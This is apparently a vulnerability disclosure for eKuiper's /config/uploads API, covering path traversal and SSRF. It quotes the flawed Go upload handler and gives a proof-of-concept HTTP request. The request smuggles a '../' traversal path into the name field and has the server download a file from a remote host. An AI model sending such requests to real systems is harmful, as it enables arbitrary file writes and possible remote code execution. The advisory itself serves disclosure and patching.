eKuiper /config/uploads API arbitrary file writing may lead to RCE

Summary

### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return }

filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered.

### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89

{ "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ``` 

### Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF 2. Path-Travel 3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.